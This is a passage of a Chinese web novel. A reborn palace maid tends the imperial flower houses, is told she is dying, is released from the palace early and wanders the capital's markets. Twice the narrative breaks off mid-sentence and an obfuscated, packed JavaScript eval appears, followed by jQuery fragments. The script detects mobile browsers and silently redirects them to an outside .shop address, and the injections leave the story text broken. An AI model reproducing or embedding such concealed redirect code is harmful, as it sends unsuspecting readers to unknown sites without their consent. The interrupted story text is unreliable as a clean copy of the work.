《荒山安居日常》
1. 迎春
“铛——铛——铛——”
雄厚浑壮的钟声在钟鼓楼上响起,传到皇宫内院的花房深处,打破满室静寂。
这是今日的第一次钟响,宣告寅时的到来。
寅时是黑夜与白天的交替之时,也是值夜的宫女太监们能撂下担子喘口气的时候。
和花房里其他一起值夜的人一样,黄迎春已经熬了一天一夜。
昨夜上值前特意再补过一层的薄粉根本压不住此刻她眼下的青黑,在暖房里经过一夜的烘烤,白.粉变得极干极硬,随着黄迎春的走动和动作,粉末窸窸窣窣地从脸上掉下来。
黄迎春却无暇顾及。
因为,她的顶头上司——服饰和妆容都一丝不苟的薄女官,正在检视她昨夜照看的十间暖房的情况。
今人爱花,无论男女,每日头上都要插戴鲜花。若是遇到喜事或举办宴席,更少不了花卉。无论拿来赏玩还是入食,新鲜娇嫩的花朵都是不二之选。在皇宫,鲜花每日耗费巨大。同样的,花卉的重要性只增不减。
黄迎春自从因为“迎春”这个名字被薄女官从一批新进的宫女里选中进花草司专门侍弄春季的花草起,就没有一天不在担惊受怕。
原因无它,春天的节日太多了!而且各个都是大节,需要的花卉极多,更是一点儿差错都不能出。
新年的时候,番邦来贺,进贡了十二盆奇珍异草。皇上龙兴大悦,命花草司好生看顾。太后娘娘瞧着新奇,放在宫里赏玩了几天,随身女官见花朵有落败之色,怕太后见了心生不喜,于是这些奇珍异草拐了个弯,又回到了花草司。虽说这些花草皇上和太后已经看过了,但保不齐哪一天两位又想看呢?所以还是得好好侍弄。为了这些花,薄女官天天耳提面命,生怕出了差错,上行下效,被分管到照顾这些花草的人也都跟着日夜悬着心。
好在,今天这颗心可以暂且放回肚子里。
见薄女官点点头,黄迎春一口气松了大半,待薄女官在册子上盖上一个红戳,她又恭敬地行了一个礼,然后缓缓退到一旁。
寝舍里虽然也燃着火盆,但近了热,远了冷,炭火燃烧时还会冒出黑烟,在屋子里没头没脑地不停打转,直熏得人咳嗽不止,连觉也睡不安稳。论温暖舒适,再也没有比暖房更好的去处了。
而一天中,也没有再比此刻更心安的时候了。
正在被薄女官检查和还没被检查到的人都暗暗地提着一颗心,把暖房待得好似火炉。已经过关的黄迎春则略略放松了自己的心神,静悄悄地享受着暖和的室温。
这里的气候实在奇怪,明明是在南方,冬天竟然会下雪!自打被生下来,黄迎春每一年的冬天都是在挨饿受冻中度过的。原以为是因为这辈子投胎的家庭是看天吃饭的普通农户,又是在生产力低下和赋税繁重的古代,再加上父母格外能生,所以到了冬天才会吃不饱穿不暖,但黄迎春万万没想到,雪灾二字竟然有一天会落到自己的头上!
还是那句话,这可是南方啊!根据物产、植被和土壤来判断,就算不是她上辈子所在的东南地区,也是秦岭——淮河以南的南方啊!哪怕是台风、洪涝、泥石流、山体滑坡甚至高温干旱,黄迎春都不会多么吃惊,但是,雪灾?南方竟然会闹雪灾?竹林桑树随处可见的地方竟然会闹雪灾?苍天啊!上辈子她活了二十六年,都没在冬天见过一片雪花啊!换了个历史课上从来没听过的朝代,她竟然差点在冬天被雪埋了!
简直没处说理去!
更让黄迎春震惊的是,雪灾来临的时候,家中的父母一个去扶摔伤的爷奶,一个去护她的弟妹,根本没有一个人去找她。等她自己好不容易从被雪压倒的茅草屋下爬出来后,也没有人来关心她的死活。倒是家里因为闹了雪灾缺医少药、缺衣少食的时候,每个人都第一时间想起她来了。
当年黄迎春才十二岁,还是个发育不良的豆芽菜,搁现代九年义务教育才完成三分之二的年龄,家中的长辈竟然就要把她嫁给村头的瘸腿鳏夫做继室,只为了五贯钱!
黄迎春想逃,但逃不了。虽然安朝不在于她所了解的历史上,但有一点从古至今都没变,但凡出远门,必定需要路引和户帖。而路引和户帖的办理,越不过族长和里正。这两个人一知道,基本上该知道的人就都知道了,但黄迎春还是不想放弃,拿着自己藏在竹罐里的私房钱,摸黑去了一趟族长家。
族长给她指了一条明路。
于是,当月下旬,当宫中的花鸟使来乡间采选宫女时,黄迎春顶了族长家与她同名同姓但突患急病的女儿的缺,在黄家人措手不及和瘸腿鳏夫红得滴血的眼神中,怀揣着族长家给的十贯钱,挺直腰板坐在马车上驶离乡道入了宫。
一晃眼,已经过去十五年了。
一阵整齐有序的脚步声在门外响起,打断了黄迎春的思绪。
白班的人吃完膳食,已经赶来交接了。
“二月二就快到了,这可是皇后娘娘册封之后的第一个春龙节,你们都给我把眼珠子放亮点,每一株花草都侍弄得精细些,花形和枝叶都要及时修剪,要记得时时捉虫扑蝶,若是让虫蚁从花心里钻出来爬了贵人的手,吓了贵人的眼,有你们好看的。”
女官巡视了一圈,见处处没有异样,便开始日常训话。等她说完后,众人齐声应了一声,这才有条不紊地一个接一个退出暖房。
跨出花房的门槛时,黄迎春解下系在腰间的花名牌,印上印泥在名册上盖了一个戳。名册上已经有了一个戳,颜色不太鲜亮,是她昨天这时候盖的,表示上工。现在盖的这个,代表下工。如此,她这一天一夜的活计才算正式结束了。
屋檐外的天色还是黑的,月亮的轮廓已经淡去,只剩几点星子偶尔亮一亮。
黄迎春汇在众人之中走回宫房。
先去厨房要了水来洗漱,又端来早上的膳食在一旁默默地吃了,然后走回寝舍爬上床去睡觉。
十几年来,日日如此,没有一丝变化。
一挨着床,满身的疲惫涌上来,辛劳了一天一夜的手颤巍巍的,不受控制地在被窝里发着抖。黄迎春缓了许久,腿弯渐渐打直,脚尖也不再紧绷着,却还是睡不着。
在暖房里倒是好睡。可惜,要防范着冬春交接之际,珍奇的花朵不耐气温变化,一时不察就病给自己看,时时都提着一颗心,根本没办法睡。晚上值夜时,也要预备着贵人们突如其来心思活泛想夜游秉烛赏花——这样的事情虽说一年也遇不上一回,但万一被贵人撞见自己在值夜的时候打瞌睡,黄迎春不敢想象自己是何下场。因此,每次轮班值夜,她都靠自己苦熬,熬得眼下青黑,眼袋浮肿,多少妆粉都盖不住。
这也就罢了,要命的是,落下了一个头疼的毛病。
这几年,也不知是不是年岁上来了,每回值夜归寝想休息的时候,她总也睡不着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771632|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑袋里跟针扎一般,要苦熬许久,才终于能睡过去,偏偏睡得也不安稳,稍有一些动静就会被吵醒。
可青天白日的,哪处没有动静。
就是在黄迎春自己的寝舍里,也有同寝的宫女邀了自己的小姐妹过来说小话。
可那又能怎么样呢?
她虽然是这间五人寝舍里年纪最大、资历最深的宫女,和其他人相比,只不过是每月发俸时多领一些银钱罢了,这还是她用年月一点点熬出来的。
在皇宫里,有关系的人,想整治她就跟捏死一只蚂蚁一样容易。
黄迎春知道自己的性子,上辈子打从小学起,老师写的学期评语开头总是相同的一句话——你是一个文静的女孩……这辈子的娘从她刚学会说话,就说她是个闷葫芦,偏疼能说会道的二妹,要不然受了灾,也不会第一个就想把自己给舍出去。
进宫是实在没办法的事。族长家对皇宫一无所知,也知道一入宫门深似海的道理,顶着杀头的风险也要把自己养了十几年的女孩留在家中。黄迎春在现代猝死前的那几年,正是宫斗剧的春天,各类清宫剧百花齐放,各种整治人的手段层出不穷。观众评论一部剧的好坏,往往根据自己穿进去能活几集来评定。而黄迎春,每次都给“要是我穿进去,一定活不过一集”诸如此类的弹幕点赞。
黄迎春有自知之明,但她还是进宫了。还是那句话,实在是没办法的事。
进宫可能会死,但要是让她在十二岁就嫁给一个嗜酒成瘾的瘸腿鳏夫给他的两儿一女当继母,黄迎春觉得自己还不如一脖子吊死在村口的歪脖子树上立刻死了算了。
因为对进宫抱有一百二十万分的小心,又秉持着少说多做和做事留痕的处事原则,黄迎春顺顺利利地熬过了三个月的教习期。
进了花草司,有了一处容身之所,黄迎春更是规规矩矩做事,老老实实做人,平日里与人为善,轻易不与人大声红脸,秉承着多一事不如少一事的原则,顺顺当当地在宫里活了十五年。
活了十五年,也忍了十五年。
如同此刻,桃花与她同乡的姐妹坐在床上叽叽喳喳地说个不停,笑声话语钻到黄迎春的脑子里,好比两只啄木鸟在用尖利的嘴巴飞速地对她的脑子又钻又啄,黄迎春也没有起身叫停,只是佯装被炭烟熏到,轻轻地咳了几声,以表暗示。
笑闹声小了一点儿,没多久,说到激动处,两个年轻的宫女再次笑做一团。
耳朵外面吵,脑子里面疼,这觉是彻底睡不了了。
黄迎春翻身从床上爬起来,叠好自己的被褥,穿上鞋,打来一盆半冷不热的水,拿起巾帕认真地洗了一个脸,开始对镜上妆。
“迎春姑姑,你不睡啦?”桃花眼尖,忙问,“今儿不是你休息吗?你这是要去哪儿?”
同乡的姐妹想的更多一些,她偷偷拉住快言快语的桃花,面色隐隐有些不安:“是不是我们太吵了?”
黄迎春打起精神,笑着安抚刚进宫没多久的宫女们:“难得今儿闲暇,我打算也去瞧瞧我相熟的姐妹,一起聊聊天。”
年轻的宫女松了一口气,把火盆移得离黄迎春更近了一些:“姑姑,你暖暖身。”
黄迎春道了谢,从袖笼里拿出一个小盒子,正要往脸上敷粉时,透过昏黄的铜镜,在心里悠悠地叹了一口气。
白天熬,夜里熬,熬得整个人面色枯黄,真应了自个儿的姓!
2. 出宫
黄迎春在宫装里面尽可能地塞满衣服,把自己折腾得满头大汗,结果一出门,一切都是白做工。
上元节之后又过了好些日子,天气还是一点儿转暖的迹象都没有。
几只喜鹊在枝头上蹦跳着,时而抖落身上的水珠,时而互相梳理羽毛,褐色枝干上一滴滴往下红梅雪水,有宫女拿着细长口的白瓶在接雪水。
这活计还有个怪好听的名儿,叫“取天泉”。而且,还得是得上官看重的宫女才能干这个活计。得了这个活计的宫女,其他活也不必干了,端是怕污糟了天泉。
“取天泉也是有讲究的,一定要取梅花的香气,才能煎出独具一格的香茗。”和黄迎春同寝的红梅得了这个活计后,每天都十分骄傲。向来对饮茶没什么讲究的人,如今取水煎茶都说得头头是道。
今人喜茶,上到王孙贵族,下到平民百姓,茶是每日都要喝的,只区别于喝什么茶。未入宫前,黄迎春喝的是后山里采的晒干的野茶,入宫后喝的是采买府每逢初一和其他各色日用一起分发的一小包茶饼。黄迎春没长喝茶的舌头,尝不出什么门道,只希望喝了之后能不犯困,办差事不出差错,每次都把茶煎得浓浓的一口闷下去,如牛嚼牡丹。
至于日出前和朝阳升起之后的雪水在泡茶上有什么差别,黄迎春就更不知道了。
和红梅寒暄时,她的目光情不自禁地落在红梅的手上。
红梅拿着一只天青釉色的玉瓶,小口长身,瓶身上还雕刻着栩栩如生的傲雪红梅的纹样,一看就价值不菲。
为了拿稳玉瓶,取天泉时是绝不允许带手套的,因而持瓶的手极易长冻疮。可是,难不成辛苦了好些时候,乐颠颠地把玉瓶呈上去邀功时,还要给贵人看一手的冻疮吗?岂不是败了贵人的兴致!因此红梅每月都要花大价钱向采买府买冻疮膏,抹了好把手上的肌肤养得娇嫩,不污糟了贵人的眼,也能多得些赏钱,兴许,哪日她就因为这双手得了哪位贵人的青眼呢!
“不过,这冻疮膏用得实在吃紧。这不,初一还没到,我的份例又见底了,又得挪钱先去买一罐救急。”红梅先是愁,又是笑,“你俭省惯了,倒是不愁的。”
黄迎春从红梅冻得通红的手上一瞥而过,在寒风中缩了缩脖子,带着笑的脸皱起来,语气也变得可怜:“俭省也是没法子的事。去医药局开的方子吃了总不见好,上月又换了一丸药,一颗就要二十文,一天还要吃两颗,一个月就要洒去一贯多……唉,不说了,我只愿你一直康康健健的,不要去吃那药丸子的苦。”
红梅心里听了妥帖,忙问:“还不见好?你是找哪位医师看的?”
黄迎春愈发愁眉苦脸起来:“也是我运气不好,每回去医师都不逢空,只指派了一个药徒给我看两下,按例给我开几幅方子也就罢了。”
红梅恨铁不成钢,伸出一根指头点了点黄迎春的额头:“你啊,就是性子太软。要我说,不如大声吵嚷起来,闹一回,有这么一次,估摸他们也就怕了。”
“哎呀!”黄迎春连忙后退,轻轻地叫唤道,“可千万小心,你手上还拿着玉瓶呢!”
“没事,我拿得稳着呢。”虽然是这么说,但红梅还是心有戚戚,黄迎春更怕摊上事,于是两人一拍即合,又草草寒暄了两句就各自分别。
黄迎春继续顶着寒风,快步在宫道上疾行。
刚走进医药局里的隔间,海棠就迎了上来,亲亲热热地同她说起话来。
“可巧,我今儿一早起来就听见喜鹊在枝头上叫唤呢。原不知道是什么好事,还抓着脑袋想了半天,如今迎春你来了,我才发现原来这好事不是应在我身上,是应在你身上呢!”
黄迎春行了一个宫人之间的平辈礼,脸上重新挂起笑:“劳你记挂,这是个什么说法?”
海棠娇嗔道:“哎呀,快坐吧,我们都认识多少年了,偏你礼多,每回见都不忘行礼。”
她拉着黄迎春往榻上一坐,又神神秘秘地从怀中掏出一个香囊,看了看左右,趁着四下无人,小声地说:“我前不久遇见了我一个同乡,可巧,他那时在揽月楼上值。清虚道人新开了一炉丹药,成色不大好,不能盛上去,但疗效不变,就分送给了旁人,做个顺水人情。我那同乡就得了一盒,不多,拢共就五颗。我就向他求了两个,一颗给我,一颗给你。这是你的,你快拿着。”
“这药……怕是不对症吧。”黄迎春迟疑着,并不想要。
包治百病的仙丹骗骗想要长生的皇帝也就算了,她可不敢吃。朱砂、砒霜、铁……谁知道坑蒙拐骗的老道往炼丹炉里加了什么。
海棠见黄迎春迟迟没有伸手接过,急了:“这是多大的好事啊,你竟然还推脱!你不是总说你睡不着吗?我听说兰贵妃娘娘也有这个毛病。这是清虚道人专门炼了给兰贵妃娘娘用的。怎么,贵妃娘娘吃得,你吃不得?这药,是专治你的症啊!”
“这丹药这么贵重,我不敢收。”黄迎春连连推却,“劳挂你记着我,只是往日我也没做什么,实在不值当你为我求药,还是把它留给更值得的人吧。”
也不知是冬日寒冷还是时辰尚早,她来了这许久,隔间里竟然没有其他人来往。黄迎春转头又说起其他:“无错的宫女年过三十就能出宫了,我记着你明年就到日子,到时候我一定来给你践行。”
黄迎春把海棠想塞进她手里的香囊又推了回去:“这颗丹药不如存着,待明年出宫,拿去外面的医馆请大夫品鉴一二,你也能换些盘缠好回家。”
黄迎春越是为海棠着想,海棠越是要黄迎春收下,两人不停地推拒。突然,海棠把香囊往黄迎春身边一丢,生气地板起脸,硬邦邦地说:“今日你拿得拿,不拿也得拿。钱我已经付了,一颗三十贯,你看着办吧!”
“什么?”黄迎春一脸惊愕。
海棠瞥了一眼黄迎春的手,见她的指腹和衣角无措地搅弄在一起,心中暗自得意。
“三十贯!你……你怎么不和我商量一声,怎么就已经付了!我实在吃不起这么好的东西,你赶紧拿去退了吧!”黄迎春慌忙捡起被海棠丢在一旁的香囊,拉过她的手,塞进她的手里,不安地劝说道。
海棠不肯:“这是人人争抢的好事,若不是同乡,哪里轮得到我们的头上。再说,既然已经付了,哪里还有退钱的道理!”
强买强卖的事情黄迎春不是没有遇到过,但花三十贯买一颗要命的丹药,这笔买卖实在做不下来。泥人尚且也有三分气性,冤大头也不是这么当的。黄迎春垂着眼皮想,不知该使个什么法子才能把海棠打发了去。
隔间通往后门处的帘子一动,带进些许风雪。
穿着医师服的中年男人被两个药徒一前一后地簇拥进来。
黄迎春顺理成章地脱了身,积极地去找医师问诊看病,没想到,一番望闻问切下来,医师朝药徒拿了开过的药方看了几眼,又详细地问过黄迎春吃了药之后的反应,最后竟得出了黄迎春已命不久矣的结论。
“您说什么?”黄迎春大惊,连海棠都一脸震惊地从榻上站了起来,神情急切地走到黄迎春身边。
医师又重复了一遍他的诊断,望着脸色灰暗的黄迎春,可惜道:“你这个年纪,成家早的,已经能当祖母了。只可惜……唉——可惜啊!亏空太过,怕是熬不到三年后了。用些好药材,兴许还能延个一年半载的。”
是啊,打小家里就贫困,缺吃少穿的,身子骨没打好基础。进了宫,又天天悬着心,忧虑伤肝。火盆里烧的都是不太好的炭火,闻了十几年,肺估计也不大行了。赶上上官内斗,有一阵子厨房被撤了,在数九寒天吃了几个月的冷饭,得胃病也是应该的。一遇上值班,就是二十四小时地熬,内分泌早就失调了吧……几年前身体就开始发出警告,为什么那时候不重视,熬到去年才来看病吃药呢?
现在好了,钱没省下几个子儿,命直接快没了。
这一回,我又只能活到二十几岁就死了吗?
黄迎春站在火盆旁边,一颗心却犹如掉进了冰窖里,酷冷寒凉,不住的发抖。
海棠摸了摸黄迎春冰凉的手,殷勤地问医师:“就没有其他法子了吗?好歹,也叫我这姐妹熬到出宫日,见一见家人,落地归根哪!”
“法子,倒也有。是个偏方,要费点钱财。”
“您说,钱还能比命重要么!”海棠连说。黄迎春也一脸凄切地看过去。
医师顶着二人的殷殷期盼,开了口:“清虚道人即将要炼一炉辟邪丹,用的全都是天材地宝,吃了能消百病。只是一颗少说也要五十贯,不知你出不出得起?”
海棠僵住了。
黄迎春的手,冷得更厉害了。
“五十贯啊!这个数目有点……我们再商量商量。”海棠拉着黄迎春的手夺门而出,医师也不挽留。
“迎春,你再等一等,我去找找我那同乡,看清虚道人这回炼的丹药能不能匀一颗给你。五十贯实在太坑人了!丹药肯定是有效的,只是你也知道他们这些人,仗着我们不能随意走动,总是恶意抬高价格。你放心,既然是你的救命药,我肯定不赚差价,我那同乡要多少,就是多少。为了你,我一定好好去求求他。你千万不要现在就把钱给了那医师啊!五十贯,他们也真是会狮子大开口,你一个月的俸禄才两贯钱呢,五十贯得挣上好几年……”海棠一脸忿忿不平。为表诚意,她又把装了价值三十贯钱丹药的香囊塞进黄迎春手里,让她先吃着。
“不用了……我有点冷,我先回了。”黄迎春已浑浑噩噩,再也听不进去任何话。刺骨的寒风无孔不入地钻进她的五脏六腑,冻得黄迎春整个人都在疼。她一步一挪,脚步虚浮地朝花草司的宫房走去。
但她精神涣散着,不知不觉间,竟走错了道。再一回神,已经来到了宫人斜附近。
宫人斜,顾名思义,是一处斜斜的山坡,底下长满了野草和荆棘,是死去的宫女和太监们的归宿。
宫女因病而亡,或是犯了过错被上官命令受罚,熬不过惩戒,最后的结局都是由太监们推着一辆推车运着尸体来到宫人斜上。两手一抬,推车一翻,尸体便骨碌碌地滚到山坡底下,成为孤魂野鬼。太监是残缺之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771633|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,更不会做棺立碑,顶多推车的太监物伤其类,帮忙裹上一层草席便罢了。
明年此时,我就在这底下了吗?
黄迎春打了个冷颤,慌忙转身逃走。
“迎春姑姑,你去哪儿了?真让我好找。”刚拐过一个拐角,桃花一把拉住她的胳膊就往外扯,“快,快走,出事了。”
“出什么事了?”黄迎春又惊又怕,猛地把手攥成一团。
难不成,是她得了重病的事被人知道了?桃花是奉命来叫她回去赴死的?
可……可是她还没死呢,医师说她起码还有几个月好活,那是要提前送她去死吗?是打死,饿死,还是……直接把她从宫人斜上扔下去活活摔死?
大冷的天里,黄迎春后背的细汗出了一层又一层。
不,不会的,没人会知道,她每次吃药丸的时候都很小心,是避着人吃的,怎么会有人知道呢?
黄迎春的腿像灌了铅一样,每一步都走得异常沉重,越走步子越迈越小,身体自发地拖延着回去的速度。
“应该是好事吧?哎呀,我也不知道对你来说是好事还是坏事,总之,迎春姑姑,你要出宫啦!”
黄迎春是良家采选入宫的,和获罪入宫的人家不同,只要不犯事,年过三十,她就能出宫。
宫女被放出宫的日子每年都是同一天,黄迎春早就打听好了,记得牢牢的。她不可思议道:“可是,我还有两年零八个月才能出宫啊。”
“皇后娘娘说了,从今往后,只要过了二十五,就给放出宫呢。”桃花的嘴角越咧越大,脚步也越走越快。
回了花草司,正赶上众人奔走相告,到处一派急匆匆的喜气洋洋。然后,在薄女官拿着记录着各个宫女出生年月的名帖走进来时,又消失殆尽。
薄女官当众宣布了出宫人员的名单,黄迎春排在春宫里的第三位。
在薄女官面前走了个交接事务的过场,领了几句训诫,又听了几句祝福,然后,黄迎春就在两个太监的监视下,回到寝舍开始收拾行李。
出宫的旨意下得突然,给的时限更是少得可怜。
好在,黄迎春一向安分守己。入宫多年,既不媚上逢迎,也没有结交什么关系匪浅的好姐妹,免了一遭哭哭啼啼。
她安静地站在寝舍门口,环顾一周,竟找不到什么可以带走的东西。
入宫时什么都不能夹带,就是身上穿的,也得全剥下来,换上采买府新制的宫服。分了去处,一切都按照品级和份例来,每月初一领的东西上都盖有采买府的戳,人人都一样。如今要走了,也是一样的,什么都不能带走。
太监站在门口扯着尖细的嗓子喊:“宫中的东西一样都不准带出去,出宫门前会有人检查,若是查出一样,这个宫门你们就别想出了,到时候,不要怪奴家没有提前提醒你们!所有人,都要在午时前把东西规置好,在各宫的宫房门口排成一行,到时会有人来带你们出宫。过期不候——”
这话一出,又是一番兵荒马乱。
宫中的东西不能带走,黄迎春也就没什么好收拾的了。每月初一领的份例,还有没用完的,黄迎春都留给了桃花,谢她来找她的恩情。平日里不凑手或用坏的,那些自己使钱请人帮忙再添置的东西,例如花剪、耳簪之类的,黄迎春都细细地收拾好了,打进包裹里。最后,她又把自己平常待的地方认真地打扫了一遍,又拉着几个眼圈红红的宫女说了一些告别的话,就背起包裹站在了宫房门口。
在宫中待了十五年,背上的包裹却意外得没有多么沉重。
黄迎春一直避免自己最后落个尸骨无存的下场,现在菩萨保佑,竟然能提早出宫,和离了皇宫相比,带不走多少东西已经算不上事了。但旁人却没有她那样的好心情,这不能拿,那不能动,早已经有人收拾着收拾着开始怨天尤人。
午时未到,身边的太监们已经开始催了。
正在和姐妹抱头痛哭的宫女撅着嘴埋怨:“怎么这么急啊?”
“不急,不急你别出去啊。”太监眼一横,叫人把刚才和抱怨宫女拉手拥抱过的宫女们都搜检一遍,直到从她们身上没搜出一星半点的夹带来,才勉强点了头。
当着众人的面差点衣服都被剥光了的宫女这回不敢再出声抱怨了,抱着包袱站在黄迎春身边暗暗垂泪,不敢发出声让其他人听到。
过了几道宫门,又被搜了一次身。这回,连黄迎春也没有避免,她这些年积攒下来的金银和钱财也不可避免地被搜身的宫女从胸口处搜了出来。
会被没收吗?还是被克扣?
黄迎春惴惴不安时,领头的严肃女官看了眼她的花名牌,拿着朱砂笔干净利落地在名册上写了个过,点点头:“是个懂事的。”
旁边不懂事的宫女被查出夹带一根成色不凡的玉簪,却无法自圆其说,正在距离宫外一线之隔的宫房里哭爹喊娘。
黄迎春听得瘆得慌,一眼也不敢看,连忙穿好衣服,重新把自己的体己放进尚有余温的胸部,汇在安静的人群里,在日落前踏出了重兵把守的皇宫大门。
3. 人间
早上,黄迎春是被报晓僧的木鱼声吵醒的。
昨日出宫后,眼见天快黑了,她急忙找了一间客栈暂住。一家家问过去,太好的住不起,太差的又怕治安不好半夜遭贼,于是寻了一家中不溜的,也不敢睡大通铺,最后要了间单间。
房间邻着街坊,无论是半夜的打更夫,还是早起的报晓僧,车轱辘碾过和木履踩在青石板上的声响,躺在床上的黄迎春都听得一清二楚。
黄迎春睡不着,想着短短一天之内发生的事情,一件接着一件,应接不暇的来,但她值班下夜之后就没睡过觉,又为出宫的事情忙活了一个早上,等了一个下午,早就又累又乏,最后也不知道什么时候睡过去了,但是,这一夜,她睡得并不安稳。
木鱼声又在耳畔敲:“正月廿一,天色晴明。”
僧人走街串巷,报晓声时远时近,不一会儿的功夫,整条街都醒了。
街上的声响越来越大,紧接着,各种呛鼻的香味也冒出来了,它们弥漫在空气里,轻而易举地穿过窗缝,直往黄迎春的鼻子里钻。
摊贩们招呼的声音也热腾腾的,不由得让人想象他们的吃食是不是也冒着热气。
有拉着长声的:“油——炸——麻——团——糍——团——千——层——儿——”
也有恨不得一口气把摊子上有的菜食都报出来的:“吃面啦,三鲜面、笋泼肉面、桐皮面、蝴蝶面、盐煎面……想吃什么任您选嘞!”
黄迎春听得肚子咕咕直叫,连忙穿好衣服鞋子,把被子叠好,又把包袱藏在床上,这才拿着木盆出了门,使了两文钱从厨房要了一瓢热水掺凉了,给自己认认真真地洗了个脸,又刷了个牙,这才回屋放下木盆,重新将房门落了锁,走出客栈觅食。
黄迎春压根没有在客栈里吃朝食的想法。昨夜她饿得烧心,让小二给她拿了一碗肉粥和两个小菜,味道一般也就算了,竟然还要了她二十文。客栈里的吃食实在是太贵了,今天,黄迎春不打算再在客栈里吃饭,而且,她也想好好地逛一逛永安城。
“喝粥啦,香喷喷的白粥出锅了,喝一碗暖肚又暖心嘞!”
“烤包子喽……”
永安城的清晨十分热闹,是黄迎春从未见过的热闹,她甚至不知道该从哪儿逛起。
每条街巷都有铺席买卖,黄迎春一路走一路看,先是点了一笼热气腾腾的虾饺搭配一碗泛着几点油花的馄饨汤吃下肚,又站在一位大娘的摊位旁吃了一碗甜豆腐脑,然后拿了一个带着花香的四色馒头……总之,她不管看见什么都十分感兴趣,无论看到什么都想买一个尝一口,就这么边走边逛边吃,不知不觉间,她塞满了自己的肚子,也走遍了整个早市。
口福和眼福都饱了,这时候,黄迎春才觉出累来。正巧走到河边,她便快步走到桥旁的亭子里坐下歇脚。
风呼呼地吹着,却吹不散河面的热络气。密密麻麻的船只在宽阔的河面上来来往往,撑船的、打渔的、运柴的……个个都忙得不亦乐乎。妇人带着家里的女娘蹲在河边浣衣。垂髫小儿拿着青嫩的柳条把戏水的鹅赶上岸。新年刚过,岸边柳树上装饰的彩条还未落尽颜色,有那调皮的,一个个争相跳高,去碰树上挂着的彩条,被提着菜篮和熟人打招呼的大人看到了,立即弃了闲聊去扯孩子的耳朵。
“又皮,你又皮!你看看这身新衣服,穿上还没几天,又被你糟践得浑身都是泥点子!再这样,明年就不给你做新衣了!”
“娘,我错了,放过我吧……”小儿捂着耳朵告饶。
妇人把菜篮子挎在小儿的胳膊里,横眉冷对:“新年才过多久,你又不让我省心!我看你纯粹是讨打!别玩了,和我一起买菜去。你爹还在家里等着吃完朝食好去上工……”
小儿垂眉耷眼地跟着母亲走了。
黄迎春目送着他们汇入人海的背影,叹了口气。
人人都有事忙,偏偏自己没事做。
在宫里的时候,每每因为差事烦忧,她都会畅想出宫之后的生活。如今天遂人愿,她提前两年八个月被放出宫,却一点儿也提不起劲。
是她所求太多,还是真的命不好?
忧愁再度爬满黄迎春的脸。
她搓了搓在寒风中冻得硬邦邦的脸颊,起身过桥。
桥的另一头,正有人家办喜事。
大红花轿高高抬着,锣鼓喧天,新郎官骑着高头大马在前开道,穿着喜服的小厮二人一抬嫁妆,喜庆的红色队伍一眼望去看不到头。喜娘跟在花轿旁,一路走一路洒喜钱。
沿途的人都避让着,退到两侧。
身边的人一边道喜一边弯下腰去捡铜板,黄迎春一边盯着热闹的迎亲场面看得眼都不眨,一边捂着耳朵躲避震耳欲聋的吹吹打打。忽然,一枚铜钱甩到了她的脸上,又冰又凉,她当下一震,忍不住瑟缩了一下,带着喜气的铜板便骨碌碌地掉进了她的衣领里。黄迎春吶呐地从漏风的脖颈里取出意外之财,望着远去的花轿,对着面前流水般经过的晒妆队伍,说了几句吉祥话,然后把一文钱收到袖子里。
原来城里人娶亲是这样子的,真是开了眼了。
有这种想法的不止黄迎春一人。
大家一时被困在桥头,进退不得,索性胳膊一甩,两手一揣,好整以暇地看起热闹。更有那好事人群,一台台地将嫁妆数过去,一次次地发出惊呼。
“十六……二十四……三十……天哪,后头还有那么长的队伍!王家嫁女,竟舍得出这么多的嫁妆!收夜香的,能赚这么多钱?”
“那当然!别看这活臭烘烘的,但是不管城里城外都吃香,没点门路的,还干不了呢!”
“可不是,夜香虽说是秽物,但哪个种田的离得了它。听说乡下人连拉泡尿都要憋着跑到自己的田里才肯撒,就为了给自己的田地多施点肥。乡下人人抢着甚至还要花钱去买的东西,我们这些坊郭户,还要每月给倾脚夫十文钱让他们上门来收。你想这些倾脚夫在城里收了夜香,又到乡下倒腾一卖,一下子就赚了两手钱,日积月累的,得攒下多少身家哪!”
大家交头接耳,又羡慕嫉妒叹息一番,待队伍过了,桥通了,便又汇入人群中,开始自己一天的生计。
做生意的,向来赶早不赶晚,不像上辈子,黄迎春早上九点出门,大街上除了早餐店,开门迎客的店铺几乎寥寥无几。而在安朝的永安城,这种事情完全不存在。不管黄迎春走到哪条街上,每家店铺门口都是热热闹闹的,进出的人影不断。只是,若不走近了看,黄迎春常常不知道那些店铺是卖什么的。
这辈子投身于农户家庭,又是个女儿身,哪怕进了宫,也没有习字的机会。黄迎春带着上辈子在现代学的那些文字和知识辨认了一路,也没能完整地认出一个招幌和匾额。好在,永安城是国都,不比其他地方,能在寸土寸金的天子脚下开店的,都不是没有家底的人。但凡是有门脸的店铺,都有伙计在门口招呼客人。路过门口听上一耳朵,也就对店家售卖的项目知晓了大概。有那心急的,跑去伙计面前问几句,也能得到伙计好声好气的解释。
黄迎春站在一家香水行门口,仰头看着匾额上的“李木子家香水行”七个大字,好不容易将店家的招牌名认了个囫囵个儿,下一瞬又目露诧异。
既然是卖香水的,为什么门口会挂着一把水壶呢?
“这里的香水行可真多!”有人站在黄迎春身边感叹。
“那也有一家!”小厮打扮的年轻人背着包裹左顾右盼,见主人迟迟没有迈动步子,索性上前去找李木子家香水行的伙计搭话,“永安城里怎么有这么多家香水行?”
